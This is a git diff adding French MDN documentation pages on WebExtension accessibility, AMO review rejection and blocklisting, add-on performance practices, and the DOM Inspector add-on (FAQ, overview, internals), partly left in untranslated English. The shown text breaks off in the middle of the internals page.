Créer une grande extension est un processus itératif. Bien que nous ayons décrit les six étapes ici, vous y reviendrez probablement au fur et à mesure que vous apprendrez ce qui fonctionne et ce qui ne fonctionne pas grâce aux commentaires des utilisateurs, aux tests et au temps.

diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/user_interface/accessibility_guidelines/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/user_interface/accessibility_guidelines/index.html new file mode 100644 index 0000000000..e974f0871b --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/user_interface/accessibility_guidelines/index.html @@ -0,0 +1,153 @@ +--- +title: Lignes directrices en matière d'accessibilité +slug: >- + Mozilla/Add-ons/WebExtensions/user_interface/lignes_directrices_en_matiere_accessibilite +tags: + - Développement + - Extensions + - UI + - UX + - WebExtensions + - interface utilisateur +translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Accessibility_guidelines +--- +

{{AddonSidebar()}}

+ +

En ce qui concerne l'accessibilité, les extensions devraient suivre les mêmes lignes directrices que les sites Web. Cependant, les extensions ont des caractéristiques uniques qui méritent d'être prises en considération lors de la conception pour l'accessibilité. Voici une ventilation des fonctions d'extension et comment elles devraient être utilisées pour rendre une extension accessible.

+ +

Vous trouverez plus d'information sur la conception et l'accessibilité dans la section Photon Design System et Accessibilité et Mozilla section de MDN.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Fonction d'interface utilisateur Lignes directrices
+

Raccourcis clavier  (commands)

+ 		+

Les raccourcis clavier permettent d'activer facilement les fonctions d'extension.

+ +

Pour améliorer l'accessibilité, ajoutez des raccourcis clavier pour :

+ +
    +
  • éléments de l'interface utilisateur de l'extension, tels que les boutons de la barre d'outils et de la barre d'adresse.
    • +
  • toutes les fonctionnalités d'une extension, cependant, lorsque cela n'est pas pratique, fournissent des raccourcis pour les fonctionnalités d'extension couramment utilisées.  
    • +
+ +
+

Les utilisateurs peuvent modifier les raccourcis clavier d'une extension en fonction de leurs besoins. Cependant, les utilisateurs ne peuvent pas ajouter de raccourcis, c'est pourquoi il est préférable d'en ajouter autant que possible.

+
+
+

Bouton de la barre d'outils (action du navigateur)

+ 		+

Pour tenir compte du thème actif, fournissez des icônes de boutons de la barre d'outils pour les thèmes avec du texte clair et foncé.

+ +

Suivez les directives du Photon Design System sur l'Iconographie. Utilisez différentes images pour transmettre l'état, par exemple basculé ou actif. N'utilisez pas d'icônes colorées ou de changements de couleur pour indiquer les changements d'état, car ils peuvent ne pas être visibles pour tous les utilisateurs.

+ +

Incluez toujours un titre de texte pour que les détails des boutons puissent être lus par un lecteur d'écran. Le titre du bouton doit être mis à jour pour refléter :

+ +
    +
  • l'état de l'extension.
    • +
  • le contenu des badges texte affichés sur le bouton.
    • +
+ +

Ajoutez un raccourci à l'action du bouton, en utilisant l'option spéciale de raccourci spécial _execute_browser_action.

+
+

Bouton de la barre d'outils avec une fenêtre contextuelle

+ 		+

Le balisage dans la fenêtre contextuelle doit suivre les lignes directrices standard d'accessibilité au web.

+
+

Bouton de la barre d'adresse (action page)

+ 		+

Les mêmes directives que les boutons de la barre d'outils doivent être suivies.

+ +

Ajoutez un raccourci à l'action du bouton, en utilisant l'option de raccourci  _execute_page_action.

+
+

Bouton de la bare d'adresse avec un popup

+ 		+

Le balisage dans la fenêtre contextuelle devrait suivre les lignes directrices standard d'accessibilité du web.

+
+

Elément du menu contextuel

+ 		+

Les éléments de menu contextuel offrent aux utilisateurs un moyen accessible de découvrir les fonctions d'extension associées aux éléments d'une page Web. Par conséquent, dans la mesure du possible, ajoutez des fonctions d'extension à leurs menus contextuels pertinents.

+
+

Barre latérale

+ 		+

Le balisage dans la barre latérale doit être conforme aux lignes directrices standard d'accessibilité du web.

+ +

Ajoutez un raccourci clavier pour ouvrir une barre latérale, en utilisant l'option de raccourci spécial _execute_sidebar_action.

+
+

Options page

+ 		+

Le balisage de la page des options doit suivre les lignes directrices standard d'accessibilité du Web.

+
+

Extension page

+ 		+

Le balisage de la page d'extension doit suivre les lignes directrices standard d'accessibilité du Web.

+
+

Notification

+ 		+

Fournir des notifications pour les événements qui se produisent en arrière-plan ou qui ne sont pas autrement notifiés dans l'interface utilisateur. Soyez économe en notifications, mais veillez à ne pas les minimiser au détriment de l'accessibilité.

+
+

Suggestion de la barre d'adresse

+ 		+

Ajoutez des suggestions selon le guide, il n'y a pas d'autres considérations d'accessibilité pour les extensions.

+
+

Panneau d'outils de développement

+ 		+

Le balisage dans la barre latérale doit être conforme aux conforme aux directives d'accessibilité du Web standard.

+ +

Il est recommandé d'offrir un raccourci clavier pour ouvrir un panneau devtools.

+
diff --git a/files/fr/orphaned/mozilla/add-ons/webextensions/what_does_review_rejection_mean_to_users/index.html b/files/fr/orphaned/mozilla/add-ons/webextensions/what_does_review_rejection_mean_to_users/index.html new file mode 100644 index 0000000000..df7532390b --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons/webextensions/what_does_review_rejection_mean_to_users/index.html @@ -0,0 +1,44 @@ +--- +title: Que signifie le rejet d'une révision pour les utilisateurs ? +slug: >- + Mozilla/Add-ons/WebExtensions/que_signifie_le_rejet_d_une_revision_pour_les_utilisateurs +tags: + - Add-ons + - Extensions + - Guide + - Review + - WebExtensions + - publication +translation_of: Mozilla/Add-ons/WebExtensions/What_does_review_rejection_mean_to_users +--- +

{{AddonSidebar}}

+ +

Cet article explique comment les utilisateurs et les personnes à la recherche de votre extension sont affectés si vous obtenez un rejet du processus de révision Mozilla.

+ +

Aperçu de l'examen

+ +

Toute extension que vous soumettez à addons.mozilla.org (AMO) fait l'objet de deux évaluations. Il y a une validation machine de votre extension dans le cadre du flux de soumission, et un examen humain qui a lieu après la publication de votre extension.

+ +

La validation de la machine vous indique immédiatement si quelque chose doit être corrigé pour permettre la publication de votre extension. L'examen humain a lieu après la publication et peut avoir lieu à tout moment. Au début de cet examen, l'examinateur peut demander des éclaircissements au sujet de votre prolongation. Le résultat de l'examen pourrait être le rejet de la dernière version de votre extension, et le rejet des versions antérieures non révisées si elles contiennent également des problèmes.

+ +

Pour plus d'informations sur ces processus, voir Soumission d'un add-on et de la politiques Add-on.

+ +

Incidence du rejet de l'examen

+ +

Si votre prolongation est rejetée par l'examen humain :

+ +
    +
  • Vous recevez un courriel expliquant la raison du rejet et les mesures que vous devez prendre pour corriger les problèmes identifiés.
    • +
  • Si une version antérieure de votre extension est publique, celle-ci devient celle vue par les visiteurs d'AMO.
    • +
  • S'il n'y a pas de version publique de votre poste à afficher, l'inscription de votre poste sur AMO est suspendue. Cela signifie que votre extension n'apparaît plus dans aucune liste sur AMO et ne sera plus retournée dans les résultats des recherches effectuées par les visiteurs AMO. Si quelqu'un suit un lien externe vers votre liste d'extensions, il arrivera à une page 404.
    • +
+ +

Les personnes qui ont installé votre extension ne remarqueront aucun changement suite au rejet de la révision ; elles pourront continuer à utiliser votre extension comme d'habitude.

+ +

Liste de blocage

+ +

La liste de blocage est un mécanisme qui permet à Mozilla d'empêcher l'utilisation d'une extension dans Firefox (un bloc dur) ou de demander aux utilisateurs de confirmer qu'ils souhaitent exécuter l'extension (un bloc mou).

+ +

Si vous ne répondez pas à la rétroaction d'examen et ne corrigez pas rapidement les problèmes, votre prolongation pourrait être considérée pour l'inscription sur la liste de blocage, particulièrement si les problèmes identifiés ont trait à des vulnérabilités critiques en matière de sécurité, de stabilité ou de rendement. Cependant, si votre extension est délibérément malveillante ou abusive, elle peut être bloquée sans notification.

+ +

Pour plus d'informations sur la liste de blocage, voir Liste de blocage dans le wiki Mozilla.

diff --git a/files/fr/orphaned/mozilla/add-ons_bonnes_pratiques_performances_extensions/index.html b/files/fr/orphaned/mozilla/add-ons_bonnes_pratiques_performances_extensions/index.html new file mode 100644 index 0000000000..e1d91724fb --- /dev/null +++ b/files/fr/orphaned/mozilla/add-ons_bonnes_pratiques_performances_extensions/index.html @@ -0,0 +1,94 @@ +--- +title: Add-ons bonnes pratiques performances extensions +slug: Mozilla/Add-ons_bonnes_pratiques_performances_extensions +--- +

Un des grands avantages de Firefox est son extrême extensibilité. Les extensions peuvent presque tout faire. Cela présente un inconvénient: les extensions mal écrites ont un impact majeur sur l'expérience de navigation, incluant les performances de Firefox lui-même. Cet article vous offre quelques bonnes pratiques et suggestions qui pourront non seulement augmenter les performances et la vitesse de votre extension, mais aussi celles de Firefox.

+ +

Améliorer les performances au chargement

+ +

Les extensions sont chargées et démarrés à chaque fois qu'une nouvelle fenêtre du navigateur est ouverte. Cela signifie qu'à chaque fois qu'une fenêtre s'ouvre, votre extension peut avoir un impact sur le temps que mettra l'utilisateur à voir le contenu qu'il essaye de visualiser. Il y a plusieurs choses que vous pouvez faire pour réduire la durée que votre extension ajoutera à l'apparition du contenu désiré par l'utilisateur.

+ +

Chargez uniquement ce dont vous avez besoin, quand vous en avez besoin

+ +

Ne chargez pas des choses au démarrage qui ne seront nécessaire que si l'utilisateur clique sur un bouton, ou si une préférence donnée est activé quand elle ne l'est pas. Si votre extension présente des fonctionnalités accessibles uniquement si l'utilisateur est identifié auprès d'un service, ne chargez pas de ressources pour ces fonctionnalités tant que l'utilisateur n'est pas identifié.

+ +

Utilisez les modules de code JavaScript

+ +

Vous pouvez créer vos propres JavaScript code modules incorporants les fonctionnalités qui ne sont requises que dans des circonstances particulières. Cela permet de charger à la volé des morceaux de votre extension, au lieu de tout charger d'un coup.

+ +

While JavaScript modules can be extremely useful, and provide significant performance benefits, they should be used wisely. Loading modules incurs a small cost, so breaking code up to an unnecessary degree can be counter-productive. Code should be modularized to the extend that doing so increases clarity, and loading of large or expensive chunks of code fragments can be significantly deferred.

+ +

Defer everything that you can

+ +

Most extensions have a load event listener in the main overlay that runs their startup functions. Do as little as possible here. The browser window is blocked while your add-on's load handler runs, so the more it does, the slower Firefox will appear to the user.

+ +

If there is anything that can be done even a fraction of a second later, you can use an {{ interface("nsITimer") }} or the {{ domxref("window.setTimeout()") }} method to schedule that work for later.  Even a short delay can have a big impact.

+ +

Astuces de performances générales

+ +

Evitez de créer des fuites de mémoires

+ +

Memory leaks require the garbage collector and the cycle collector to work harder, which can significantly degrade performance.

+ +

Zombie compartments are a particular kind of memory leak that you can detect with minimal effort.  See the Zombie compartments page, especially the Proactive checking of add-ons section.

+ +

See Common causes of memory leaks in extensions for ways to avoid zombie compartments and other kinds of leaks.

+ +

As well as looking for these specific kinds of leaks, it's worth exercising your extension's functionality and checking the contents of about:memory for any excessive memory usage.  For example, bug 719601 featured a "System Principal" JavaScript compartment containing 100s of MBs of memory, which is much larger than usual.

+ +

Evitez d'écrire des CSS lents

+ +
    +
  • Lire le guide "writing efficient CSS".
    • +
  • Remember that any selector in your rule which might match many different nodes is a source of inefficiency during either selector matching or dynamic update processing. This is especially bad for the latter if the selector can dynamically start or stop matching. Avoid unqualified ":hover" like the plague.
    • +
+ +

Avoid DOM mutation event listeners

+ +

DOM mutation event listeners are extremely expensive and, once added to a document even briefly, significantly harm its performance. As mutation events are officially deprecated, and there are many alternatives, they should be avoided at all costs.

+ +

Lazily load services

+ +

The XPCOMUtils JavaScript module provides two methods for lazily loading things:

+ +
    +
  • defineLazyGetter() défini une fonction sur un objet spécifié qui agit comme un getter la première fois qu'il sera utilisé. See examples.
    • +
  • defineLazyServiceGetter() défini une fonction sur un objet spécifié qui agit comme un getter pour un service. The service isn't obtained until the first time it's used. {{ LXRSearch("ident", "string", "defineLazyServiceGetter", "Look through the source") }} for examples.
    • +
+ +

Beaucoup de services commun sont dàja en cache dans Services.jsm.

+ +

Utilisez les E/S asynchrones

+ +

Ne jamais faire E/S synchrone dans le thread principal.

+ +

N'importe quelle sorte d'E/S dans le thread principal, qu'elle soit sur un disque ou sur le réseau, peuvent provoquez de sérieux problème de ralentissement de l'interface utilisateur.

+ +
    +
  • Ne jamais utiliser de XMLHttpRequests synchrone.
    • +
  • NetUtils.jsm fournis des helpers pour la lecture et la copies de fichier asynchrone.
    • +
  • Ne jamais accèder à une base de donnée SQLite de manière synchrone. Utilisez l'asynchronous API à la place.
    • +
  • Effectuer des opérations séquentielles, asynchrone peuvent être grandement simplifier en utilisant Promises.
    • +
+ +

Evitez les évenements de mouvement de la souris

+ +

Evitez d'utiliser les évenements de mouvement de la souris, tel que mouseover, mouseout, mouseenter, mouseexit, et plus spécialement mousemove. Ces évenements se déclenchent à haute fréquence, par conséquent leurs écouteurs d'évenements peuvent facilement provoquer une surcharge CPU.

+ +

Quand ces évenements ne peuvent être évités, computation during the listeners should be kept to a minimum and real work throttled. Ces évenements doivent être ajoutés sur des éléments les plus spécifiques possible, et supprimé immédiatement lorsqu'il ne sont plus nécessaires.

+ +

Evitez les images animées

+ +

Animated images are much more expensive than generally expected, especially when used in XUL {{ XULElem("tree") }} elements..

+ +

Considérez l'utilisation des Chrome Workers

+ +

Vous pouvez utiliser {{ domxref("ChromeWorker") }} pour executer de longues tâches ou du traitement de données.

+ +

Voir aussi

+ + diff --git a/files/fr/orphaned/tools/add-ons/dom_inspector/dom_inspector_faq/index.html b/files/fr/orphaned/tools/add-ons/dom_inspector/dom_inspector_faq/index.html new file mode 100644 index 0000000000..1ba15a6767 --- /dev/null +++ b/files/fr/orphaned/tools/add-ons/dom_inspector/dom_inspector_faq/index.html @@ -0,0 +1,59 @@ +--- +title: FAQ de l'Inspecteur DOM +slug: Inspecteur_DOM/DOM_Inspector_FAQ +tags: + - DOM_Inspector +translation_of: Tools/Add-ons/DOM_Inspector/DOM_Inspector_FAQ +--- +
{{ToolsSidebar}}
+

Cet outil est un module complémentaire pour les applications basées sur XUL comme Firefox ou Thunderbird. Si vous cherchez l'Inspecteur DOM intégré à Firefox, regardez plutôt la documentation pour L'Inspecteur.

+
+ +

Comment faire pour inspecter une page/fenêtre web ?

+ +

Le menu "File" permet différentes manières d'inspecter un document :

+ +
+
Inspect Content Document
+
Inspecte un contenu non privilégié présent dans l'onglet choisi.
+
Inspect Chrome Document
+
Inspecte une application chrome. Cela inclut les fenêtres XUL ouvertes.
+
Inspect a URL
+
Cela sélectionne simplement la barre d'adresse de l'Inspecteur DOM. Cette barre d'adresse permet d'inspecter les documents qui peuvent être accédés via une URL. Inspecter une URL a pour effet de charger le document de correspondant à cette URL dans le panneau "Browser". Cela peut inclure des documents chrome. Il n'est cependant pas recommandé d'inspecter des documents XUL directement via URL, car certains comportements du document peuvent dépendre du fait que le document doit être contenu dans un autre document XUL. À la place, il est recommandé de charger le document XUL normalement (en utilisant des commandes ou en ouvrant des fenêtres dans l'application utilisée), puis de trouver et de l'inspecter grâce au menu "Inspect Chrome Document".
+
+ +

Pourquoi certains nœuds dans le panneau "DOM nodes" apparaissent en rouge ?

+ +

Ces nœuds sont des nœuds à contenu anonyme. Cela veut dire qu'ils ne sont pas dans le DOM généré par le document d’origine.

+ +

Comment faire pour cacher ces nœuds anonymes ?

+ +

Il est possible de cacher les nœuds anonymes dans l'inspecteur en décochant l'option "Show Anonymous Content" dans le menu menu "View".

+ +

Il y beaucoup de nœuds #text vides que je ne vois pas dans le document d'origine. Que sont-ils, pourquoi sont ils là et comment s'en débarrasser ?

+ +

Ces nœuds sont actuellement les sauts de ligne et l'espacement entre les éléments. Une longue discussion sur pourquoi ces nœuds sont présent est disponible dans le {{ Bug(26179) }}.

+ +

En revanche, il est possible de cacher ces nœuds d'espaces dans l'inspecteur en décochant l'option "Show Whitespace Nodes" dans le menu "View". Il est à noter que certains nœuds de texte vide ne seront pas cachés. Ces nœuds ont en effet une propriété CSS white-space qui empêche l'agent utilisateur de réduire les séquences d'espaces, et ne sont donc pas cachés.

+ +

Il est parfois difficile de trouver un nœud en particulier dans l'arbre DOM. Existe-t-il une manière plus rapide pour le trouver et naviguer dans l'arbre ?

+ +

Bien sûr. Il est possible d'effectuer une recherche basée sur le nom du nœud, sur son id, ou même sur un attribut/paire de valeur. Pour effectuer une recherche il faut cliquer sur "Find Nodes..." dans le menu "Edit" (ou utiliser le raccourci Ctrl+f). Une fenêtre dans laquelle il est possible de rentrer les critères de la recherche apparaitra alors. La recherche de l'Inspecteur DOM utilise les RegExps JavaScript pour trouver les nœuds et fera de la correspondance partielle automatiquement. Ainsi, faire une recherche avec l'expression "tab" retournera des résultats pour tabpanel et tabbox en plus de tab. pour limiter la recherche, il est possible d'utiliser les marqueurs de début (^) et de fin ($) de chaîne de caractère. Ainsi, rechercher "^tab$" retournera uniquement les nœuds dont les noms sont exactement "tab".

+ +

Il est également possible dans le cas d'un manque total d'information sur le noeud, d'essayer de le sélectionner en cliquant dessus. Pour cela, il faut trouver le nœud dans la page puis le sélectionner grâce au bouton "inspect by clickling" de la barre d'outils. Le menu "Edit" inclut également une option "Select Element by Click".

+ +

Comment inspecter les pseudo-classes et les pseudo-éléments dans la vue des règles CSS ?

+ +

L'Inspecteur DOM permet de forcer les pseudo-classes :hover, :active, et :focus à s'appliquer sur un nœud donné. Pour ce faire, il faut depuis le panneau des nœuds DOM, sélectionner le nœud et faire apparaître le menu contextuel (clic droit sur le nœud). Dans ce menu, il faut cliquer sur l'option Set Pseudo-classes qui permet d'appliquer les pseudo-classes mentionnées ci-dessus.

+ +

Il n'y a actuellement aucun moyen d'inspecter les règles appliquées dynamiquement pour d'autres pseudo-classes ou pseudo-éléments en utilisant l'interface de l'Inspecteur DOM. Il est en revanche possible de trouver n'importe quelle règle (afin de la modifier) dans sa feuille de style parente en utilisant le "Style Sheets viewer" dans le panneau document, puis de la localiser dans le "CSS Rules viewer" du panneau "object".

+ +
+

Informations sur le document d'origine

+ +
    +
  • Autheur(s) : Christopher Aillon
    • +
  • Dernière mise à jour: November 11, 2003
    • +
  • Informations de copyright : Des portions de contenu sont © 1998–2007 par des contributeurs mozilla.org individuels. Le contenu est disponible sous licence Creative Commons | Détails.
    • +
+
diff --git a/files/fr/orphaned/tools/add-ons/dom_inspector/index.html b/files/fr/orphaned/tools/add-ons/dom_inspector/index.html new file mode 100644 index 0000000000..bb280fc286 --- /dev/null +++ b/files/fr/orphaned/tools/add-ons/dom_inspector/index.html @@ -0,0 +1,70 @@ +--- +title: Inspecteur DOM +slug: Inspecteur_DOM +tags: + - DOM + - 'DOM:Tools' + - DOM_Inspector + - Extensions + - 'Extensions:Tools' + - Themes + - 'Themes:Tools' + - Tools + - Web Development + - 'Web Development:Tools' + - XUL + - 'XUL:Tools' +translation_of: Tools/Add-ons/DOM_Inspector +--- +
{{ToolsSidebar}}
+

Cet outil est un module complémentaire pour les applications bassées sur XUL tels que Firefox ou Thunderbird. Si vous cherchez l'Inspecteur DOM intégré à Firefox, regardez plutôt la documention pour L'Inspecteur.

+
+ +

L'inspecteur DOM (également connu sous l'appellation DOMi) est un outil de Mozilla servant à inspecter, parcourir et modifier le modèle objet de document des documents - habituellement des pages Web ou des fenêtres XUL.
+ Il est possible de naviguer dans la  hiérarchie DOM en utilisant une fenêtre à deux panneau qui permet une visibilitée du document et de tout les noeuds qu'il contient.

+ +

Documentation

+ +
+
Introduction à l'Inspecteur DOM
+
Un tutoriel guidé qui aide à démarrer avec l'Inspecteur DOM.
+
+ +
+
FAQ de l'Inspecteur DOM
+
Questions courantes sur l'Inspecteur DOM.
+
+ +
+
Page sur de MozillaZine sur l'Inspecteur DOM
+
Des informations complémentaires sur l'Inspecteur DOM.
+
Comment compiler l'Inspecteur DOM.
+
Article de blog sur comment compiler l'Inspecteur DOM.
+
+ +

Obtenir l'Inspecteur DOM.

+ +
+
Firefox et Thunderbird
+
Il faut télécharger et installer L'Inspector DOM depuis le site web AMO. Les utilisateurs de Thunderbird naviguant dans AMO dans Firefox doivent sauvegarder le lien de l'installation, ou visiter la page Inspecteur DOM pour Thunderbird.
+
+ +
+
Thunderbird 2
+
L'Inspecteur DOM pour Thunderbird 2 est disponible dans les modules complémentaires de Thunderbird. Il est également possible de compiler Thunderbird vous-même avec les options suivantes :
+
+ +
ac_add_options --enable-extensions="default inspector"
+ac_add_options --enable-inspector-apis
+
+ +
+
Mozilla Suite et SeaMonkey
+
Selectioner Outils > Development Web > Inspecteut DOM. Vous pouvez installer le panneau latéral via Éditer > Préferences > Avancé > Inspecteur DOM, puis en ouvrant le panneau de l'inspecteur et en visitant un site web.
+
+ +

Reporter un bug dans l'Inspecteur DOM

+ +

Utilisez le "component" "DOM Inspector" dans Bugzilla.

+ +

Pour trouver qui a des connaissances sur le code de l'Inspecteur DOM ainsi que le pays dans lequel il se trouve, regardez  dans la liste des modules.

diff --git a/files/fr/orphaned/tools/add-ons/dom_inspector/internals/index.html b/files/fr/orphaned/tools/add-ons/dom_inspector/internals/index.html new file mode 100644 index 0000000000..d817bd62cf --- /dev/null +++ b/files/fr/orphaned/tools/add-ons/dom_inspector/internals/index.html @@ -0,0 +1,242 @@ +--- +title: Interieur de l'Inspecteur DOM +slug: Inspecteur_DOM/Internals +translation_of: Tools/Add-ons/DOM_Inspector/Internals +--- +
{{ToolsSidebar}}
+

L'Inspecteur DOM est un module complémentaire pour les applications basées sur XUL comme Firefox ou Thunderbird. Si vous cherchez l'Inspecteur DOM intégré à Firefox, regardez plutôt la documentation pour L'Inspecteur.

+
+ +

Il ya trois parties principales dans l'Inspecteur DOM. La plus utilisée est l'interface utilisateur principale basée sur inspector.xul. il s'agit de l'Inspecteur à deux panneaux qui apparait au lancement de l'outil.

+ +

DOM Inspector primary UI inspecting browser.xul

+ +

En dehors de l'interface principale de l'Inspecteur DOM, il y a quelques autres inspecteurs haut-niveau qui diffèrent légèrement (l'inspecteur d'objets et le panneau latéral de l'Inspecteur DOM utilisé dans SeaMonkey). Nous allons d'abord nous concentrer sur inspector.xul et son point d'entrée, puis nous allons ensuite expliquer comment ces autres inspecteurs diffèrent.

+ +

L'Inspecteur DOM d'un point de vue haut niveau

+ +

L'interface utilisateur principale de l'Inspecteur DOM est composée de barres d'outils et d'un "panelset." Le panelset contient deux panneaux. Un qui réagit aux changements occurrents dans le document inspecté. Et un qui réagit aux changements dans la sélection du premier panneau. Il s'agit respectivement du panneau document et du panneau objet.

+ +

Le but d'un panneau est de gérer les "viewers" disponibles. En haut de chaque panneau, se trouve une barre d'outils qui contient :un bouton menu permettant de choisir quel viewer afficher parmi la viewer list, une étiquette affichant le nom du viewer actuel, et un autre bouton permettant d'effectuer des actions spécifiques au viewer.

+ +

Les viewers sont chargés dynamiquement. Lorsqu'un panneau reçoit l'ordre de changer de viewer, l'ancien viewer est détruit et le nouveau est chargé à la place. Ainsi le panelset et les panneaux fonctionnent comme des frameset et frames. Cette comparaison s'avère très proche de la réalité, car chaque panneau contient en réalité un browser anonyme, et, car chaque viewer existe dans un document séparé chargé dans le navigateur. Cette séparation permet aux viewers d'être indépendants, aec un XUL de viewer défini dans son propre document et chargé dans sa propre portée, cela sans crainte de collisions entre le XUL, le CSS ou le JS. Une autre conséquence est qu’en utilisant un profil de développement correctement configuré, alors la plupart des changements développés sont visibles uniquement en changeant de viewer puis en revenant sur le viewer précédant.

+ +

Sachant comment les viewers sont écrits, il est maintenant possible de jeter un oeil à l'organisation du code source de l'Inspecteur DOM.d

+ +

Organisation du code source

+ +

Le contenu du dossier racine de l'Inspecteur DOM devrait ressembler à ceci :

+ +
    +
  • base/ +
      +
    • js/ +
        +
      • inspector-cmdline.js
        • +
      • Makefile.in
        • +
      +
      • +
    +
    • +
  • build/ +
      +
    • install.js
      • +
    • Makefile.in
      • +
    +
    • +
  • resources/ +
      +
    • content/ +
        +
      • …
        • +
      +
      • +
    • locale/ +
        +
      • …
        • +
      +
      • +
    • skin/ +
        +
      • …
        • +
      +
      • +
    • Makefile.in
      • +
    +
    • +
  • install.rdf
    • +
  • jar.mn
    • +
  • Makefile.in
    • +
  • makefiles.sh
    • +
+ +

Pratiquement toute la partie intéressante se trouve dans le dossier resources/content/. Son contenu devrait ressembler à ceci :

+ +
    +
  • extensions/ +
      +
    • …
      • +
    +
    • +
  • jsutil/ +
      +
    • …
      • +
    +
    • +
  • prefs/ +
      +
    • …
      • +
    +
    • +
  • res/ +
      +
    • …
      • +
    +
    • +
  • tests/ +
      +
    • …
      • +
    +
    • +
  • viewers/ +
      +
    • …
      • +
    +
    • +
  • browserOverlay.xul
    • +
  • commandOverlay.xul
    • +
  • editingOverlay.xul
    • +
  • Flasher.js
    • +
  • hooks.js
    • +
  • inspector.css
    • +
  • inspector.js
    • +
  • inspectorOverlay.xul
    • +
  • inspector.xml
    • +
  • inspector.xul
    • +
  • keysetOverlay.xul
    • +
  • object.js
    • +
  • object.xul
    • +
  • popupOverlay.xul
    • +
  • sidebar.js
    • +
  • sidebar.xul
    • +
  • statusbarOverlay.xul
    • +
  • tasksOverlay-cz.xul
    • +
  • tasksOverlay-ff.xul
    • +
  • tasksOverlay-mobile.xul
    • +
  • tasksOverlay-sb.xul
    • +
  • tasksOverlay-tb.xul
    • +
  • tasksOverlay.xul
    • +
  • toolboxOverlay.xul
    • +
  • utils.js
    • +
  • venkmanOverlay.xul
    • +
  • ViewerRegistry.js
    • +
+ +

Superpositions (Overlays)

+ +

Il y a de nombreux overlays. Certains overlays peuvent être décrits comme des overlays d'intégration hôte, et d'autres comme des overlays à structure partagée.

+ +

Overlays d'intégration hôte

+ +

L'Inspecteur DOM est une extension à utilité générique, adaptée à une utilisation avec n'importe quel toolkit d'application hôte de Mozilla. Afin que l'Inspecteur DOM soit utile avec son application hôte, il doit obligatoirement y avoir un moyen de lancer l'Inspecteur DOM depuis l'intérieur de l'application. Soit l'application fournit ces moyens eux-mêmes (généralement en intégrant l'Inspecteur DOM dans l'application), soit l'Inspecteur DOM doit explicitement supporter l'application en ayant ses propres options de menus et/ou raccourcis clavier avec des overlays d'intégration hôte.

+ +

L'Inspecteur DOM supporte explicitement plusieurs applications Mozilla en fournissant des overlays d'intégration hôte. Ces overlays sont :

+ +
    +
  • browserOverlay.xul
    • +
  • tasksOverlay-cz.xul
    • +
  • tasksOverlay-ff.xul
    • +
  • tasksOverlay-mobile.xul
    • +
  • tasksOverlay-sb.xul
    • +
  • tasksOverlay-tb.xul
    • +
  • tasksOverlay.xul
    • +
  • venkmanOverlay.xul
    • +
  • prefs/prefsOverlay.xul
    • +
+ +

Un examen plus approfondi du manifeste chrome révèlera que l'Inspecteur DOM utilise également des overlays conditionnels dans sa fenêtre principale :

+ +
overlay chrome://inspector/content/inspector.xul chrome://communicator/content/utilityOverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}
+overlay chrome://inspector/content/inspector.xul chrome://communicator/content/tasksOverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}
+
+ +
overlay chrome://inspector/content/inspector.xul chrome://browser/content/baseMenuOverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384}
+
+ +

Ces overlays fournis par l'hôte permettent à l'Inspecteur DOM d'adopter une apparence et des sensations similaires à l'application hôte. (Au-dessus, respectivement SeaMonkey et Firefox).

+ +

Il y a plusieurs overlays dans le dossier "resources/contents/" qui ne font pas partie de cette catégorie d'overlays d'intégration hôte. En effet, l'Inspecteur DOM utilise également des overlays partagés pour construire sa propre interface utilisateur.

+ +

Overlays à structure partagée

+ +

Jetter un oeil au contenu du fichier inspector.xul de l'interface utilisateur principale de l'Inspecteur DOM révélera qu'il ne contient quasiment aucun élément visible. Au moment présent, il a une boite à outils contenant un menubar vide et une barre d'outils vide, ainsi qu'une vbox vide :

+ +
  <toolbox id="tbxInsToolbox">
+    <menubar id="mbrInspectorMain"/>
+    <toolbar id="tbInspectorPrimary"/>
+  </toolbox>
+
+  <vbox id="bxInspectorMain" flex="1"/>
+
+ +

Il n'y a aucun menu, barres d'outils, etc. définies ici. Même la plupart des éléments qui ne sont pas visibles tels que key- et commandset, ne sont pas définis dans inspector.xul. Ils sont tirés d'une série d'overlays, afin que le XUL définissant l'interface de l’Inspecteur DOM puisse être organisé en unités discrètes. inspector.xul en lui-même n'est qu'un squelette définissant la structure et la disposition basique de la fenêtre principale de l'Inspecteur DOM, laissant ainsi la plupart de son contenu être ajouté par les overlays.

+ +

En utilisant des overlays modulaires permet également au XUL commun d'être partagé à travers les différents documents qui composent l'interface de l'Inspectreur DOM, même si toutes les overlays ne sont pas partagées par plusieurs utilisateurs. Il existe des overlays sur mesure uniquement pour des organisations.

+ +

Dans certains cas, les overlays sont surchargées par d'autres overlays. Si nous imaginons une structure d'arbre obtenue en connectant les overlays en tant qu'enfants des fichiers qu'elles "overlayent" tout en ignorant les overlays utilisées pour l'intégration hôte, nous pouvons alors visualiser l'arbre d'overlays pour un fichier donné. Voici l'arbre d'overlay étendu ne prenant pas en compte les overlays d'hôte pour inspector.xul :

+ + + +

(Il est à noter que les overlays des sous dossiers du viewer —viewers/dom et viewers/styleRules— sont chargés à la suite des directives d'overlay dans le manifeste chrome de l'Inspecteur DOM, au lieu d'être simplement importé explicitement en utilisant une instruction de processus xul-overlay dans l'overlay surchargée)

+ +
+
inspectorOverlay.xul
+
+

Ce fichier importe les scripts supérieurs, dont l'Inspecteur à besoin (cela inclut les dépendances). De plus, il définit le contenu du corps principal de la fenêtre de l'Inspecteur DOM c'est à dire : le panelset, les viewers documents et objets et le document du panneau du navigateur. (Le panneau du navigateur n'est pas un panneau viewer dans le sens ou les viewer document et objets eux le sont. C'est-à-dire les sortes de panneaux définis précédemment en relation avec le panelset. "panneau" est ici utilisé en fonction du panneau du navigateur dans un sens large pour décrire la mixture d'interface générique)

+
+
toolboxOverlay.xul
+
+

Cette overlay, remplit la boite à outils de l'Inspecteur, incluant les boutons de la barre d'outils et la "location bar" avec son bouton "inspect". toolboxOverlay.xul définit également la structure de menubar, sans pour autant définir le contenu des menus eux-mêmes.

+
+
popupOverlay.xul
+
+

